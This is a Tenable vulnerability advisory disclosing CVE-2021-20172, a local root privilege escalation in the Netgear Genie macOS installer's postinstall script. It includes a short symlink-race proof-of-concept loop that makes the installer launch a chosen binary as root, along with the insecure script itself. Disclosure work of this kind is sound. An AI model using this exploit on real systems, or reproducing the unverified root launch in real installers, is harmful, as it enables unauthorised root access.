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Netgear Genie MacOS Installer Privilege Escalation

Medium

Synopsis

In the latest installation package for Netgear Genie for macOS, the "postinstall" script included in the installer allows for local privilege escalation to root privileges due to improper permissions on files used throughout the installation process.

During the installation process for Netgear Genie, the following postinstall script is run as root: 

#!/bin/sh
rm ~/.NETGEARGenie/genie.ini
#sudo /Applications/NETGEARGenie.app/Contents/MacOS/NETGEARGenieDaemon
#/Applications/NETGEARGenie.app/Contents/MacOS/NETGEARGenie -firststart
rm ~/Library/Application\ Support/NETGEARGenie/genie.ini
#rm -f ~/Library/Application\ Support/Dock/*.db && killall Dock
chmod a+w /Applications/NETGEARGenie.app/Contents/MacOS/NETGEARGenie.pid
sudo open -a /Applications/NETGEARGenie.app/Contents/MacOS/LoginItem
sudo rm /Applications/NETGEARGenie.app/Contents/MacOS/Tools/scripts/tmp.txt
echo "dafdafdas"

The vulnerable portion of code above is the sudo open -a ... line. The scripts / installation processes do not verify the contents of the binary that is opened on that line. This means that if an attacker / malicious process / etc. were to see a Netgear Genie Installer downloaded, they would be able to plant a malicious binary or symlink in this location during the installation process and escalate their privileges to root. The following is an example exploit that can be run prior to running the installer. Once the installer finishes running, Safari will be run with root privileges.

$ mkdir -p /Applications/NETGEARGenie.app/Contents/MacOS/          
$ while true; do
  ln -f -F -s /Applications/Safari.app/Contents/MacOS/Safari "/Applications/NETGEARGenie.app/Contents/MacOS/LoginItem";
done

Solution

Vendor has not informed Tenable of a fix for this issue at the time of this writing

Disclosure Timeline

September 30, 2021 - Tenable discloses to vendor.
October 4, 2021 - Vendor provides formal acknowledgment.
October 26, 2021 - Tenable requests status update.
November 12, 2021 - Vendor provides status update.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2021-20172
Tenable Advisory ID
TRA-2021-56
Credit

Jimi Sebree

CVSSv3 Base / Temporal Score
5.8 / 5.2
CVSSv3 Vector
AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:L
Affected Products
Netgear Genie Installer Package for macOS
Risk Factor
Medium

Advisory Timeline

December 30, 2021 - Initial release.
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